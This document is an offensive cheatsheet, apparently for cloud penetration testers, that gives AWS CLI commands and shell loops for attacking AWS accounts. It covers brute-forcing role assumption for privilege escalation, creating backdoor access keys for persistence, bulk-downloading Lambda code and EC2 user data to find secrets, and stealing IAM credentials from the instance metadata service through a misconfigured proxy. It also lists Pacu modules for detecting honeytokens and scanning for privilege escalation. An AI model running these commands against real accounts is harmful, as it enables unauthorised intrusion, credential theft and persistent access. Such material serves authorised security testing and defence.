Amazon Web Services (AWS) CLI Tool Cheatsheet

By Beau Bullock (@dafthack)

Authentication

Set AWS programmatic keys for authentication (use --profile= for a new profile)

```
aws configure
```

Open S3 bucket enumeration

List the contents of an S3 bucket

```
aws s3 ls s3://<bucketname>/
```

Download contents of bucket

```
aws s3 sync s3://bucketname s3-files-dir
```

Account Information

Get basic account info

```
aws sts get-caller-identity
```

List IAM users

```
aws iam list-users
```

List IAM roles

```
aws iam list-roles
```

Export and brute force all roles for assume role escalation

```
aws iam list-roles --query 'Roles[].Arn' | jq -r '.[]' >> rolearns.txt
while read r; do echo $r; aws sts assume-role --role-arn $r --role-session-name
```

```
awshax; done < rolearns.txt
```

List S3 buckets accessible to an account

```
aws s3 ls
```

Virtual Machines

List EC2 instances

```
aws ec2 describe-instances
```

Export all EC2 Instance User Data

```
while read r; do for instance in $(aws ec2 describe-instances --query
'Reservations[].Instances[].InstanceId' --region $r | jq -r '.[]'); do aws ec2
describe-instance-attribute --region $r --instance-id $instance --attribute
userData >> ec2-instance-userdata.txt; done; done < regions.txt
```

WebApps & SQL

List WebApps

```
aws deploy list-applications
```

List AWS RDS (SQL)

```
aws rds describe-db-instances --region <region name>
```

Knowing the VPC Security Group ID you can query the firewall rules to determine connectivity potential

```
aws ec2 describe-security-groups --group-ids <VPC Security Group ID> --region
<region>
```

Serverless

List Lambda Functions

```
aws lambda list-functions --region <region>
```

Look at environment variables set for secrets and analyze code

```
aws lambda get-function --function-name <lambda function>
```

Download all Lambda Function Code (See regions.txt file further down in cheatsheet)

```
mkdir lambda-code
array=()
while read r; do
    array=$(aws lambda list-functions --region $r  | jq -r
'.Functions[].FunctionName')
    for i in $array; do
        echo $i >> lambda-function-code.txt
        l=$(aws lambda get-function --function-name $i --region $r | jq -r
'.Code.Location')
        wget "$l" -P lambda-code/
    done
done < regions.txt
```

Kubernetes (EKS)

List EKS clusters

```
aws eks list-clusters --region <region>
```

Update kubeconfig

```
aws eks update-kubeconfig --name <cluster-name> --region <region>
```

Networking

List EC2 subnets

```
aws ec2 describe-subnets
```

List ec2 network interfaces

```
aws ec2 describe-network-interfaces
```

List DirectConnect (VPN) connections

```
aws directconnect describe-connections
```

Backdoors

List access keys for a user

```
aws iam list-access-keys --user-name <username>
```

Backdoor account with second set of access keys

```
aws iam create-access-key --user-name <username>
```

Getting Public IPs and Hostnames

For each of the following examples place a file called regions.txt with the following content in the same folder you run these commands from. In most cases you will likely need to add on --profile to the aws cli command.

regions.txt

```
us-east-1
us-east-2
us-west-1
us-west-2
ca-central-1
eu-west-1
eu-west-2
eu-west-3
eu-central-1
eu-north-1
ap-southeast-1
ap-southeast-2
ap-south-1
ap-northeast-1
ap-northeast-2
ap-northeast-3
sa-east-1
```

List all EC2 public IPs

```
while read r; do
    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress
--region $r | jq -r '.[]' >> ec2-public-ips.txt
done < regions.txt
sort -u ec2-public-ips.txt -o ec2-public-ips.txt
```

List all ELB DNS addresses

```
while read r; do
    aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r
| jq -r '.[]' >> elb-public-dns.txt
    aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --
region $r | jq -r '.[]' >> elb-public-dns.txt
done < regions.txt
sort -u elb-public-dns.txt -o elb-public-dns.txt
```

List all RDS DNS addresses

```
while read r; do
    aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region
$r | jq -r '.[]' >> rds-public-dns.txt
done < regions.txt
sort -u rds-public-dns.txt -o rds-public-dns.txt
```

Get all EKS Public CIDRs

```
while read r; do for cluster in $(aws eks list-clusters --query clusters --region
$r --out text); do aws eks describe-cluster --name $cluster --region $r --query
cluster.resourcesVpcConfig.publicAccessCidrs |  jq -r '.[]' >> eks-public-
cidrs.txt; done; done < regions.txt
```

Get all EKS Public Endpoints

```
while read r; do for cluster in $(aws eks list-clusters --query clusters --region
$r --out text); do aws eks describe-cluster --name $cluster --region $r --query
cluster.endpoint >> eks-public-endpoint.txt; done; done < regions.txt
```

List all RDS Snapshots

```
aws rds describe-db-snapshots --region us-east-1 --snapshot-type manual --
query=DBSnapshots[*].DBSnapshotIdentifier
```

List RDS Snapshot Attributes (If AttributeValues field is set to "all" then the snapshot is publicly available for any account to restore)

```
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <db identifier
from last command> --region us-east-1 --
query=DBSnapshotAttributesResult.DBSnapshotAttributes
```

Get CloudFormation Outputs

```
while read r; do
    aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description,
Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt
done < regions.txt
```

List all S3 buckets

```
aws s3 ls | awk '{print $3}' >> s3-all-buckets.txt
```

Attempt to list objects in all the S3 buckets discovered with the previous command

```
while read p; do
    echo $p
    aws s3 ls s3://$p
done < s3-all-buckets.txt
```

Instance Metadata Service URL

```
http://169.254.169.254/latest/meta-data
```

Additional IAM creds possibly available here

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM Role Name>
```

Can potentially hit it externally if a proxy service (like Nginx) is being hosted in AWS and misconfigured

```
curl --proxy vulndomain.target.com:80 http://169.254.169.254/latest/meta-
data/iam/security-credentials/ && echo
```

IMDS Version 2 has some protections but these commands can be used to access it

```
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
```

Other AWS Tools

WeirdAAL

https://github.com/carnal0wnage/weirdAAL

Run recon against all AWS services to enumerate access for a set of keys

```
python3 weirdAAL.py -m recon_all -t <name>
```

Pacu

AWS exploitation framework

https://github.com/RhinoSecurityLabs/pacu

Install Pacu

```
sudo apt-get install python3-pip
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu
sudo bash install.sh
```

Import AWS keys for a specific profile

```
import_keys <profile name>
```

Detect if keys are honey token keys

```
run iam__detect_honeytokens
```

Enumerate account information and permissions

```

```

```
run iam__enum_users_roles_policies_groups
run iam__enum_permissions
whoami
```

Check for privilege escalation

```
run iam__privesc_scan
```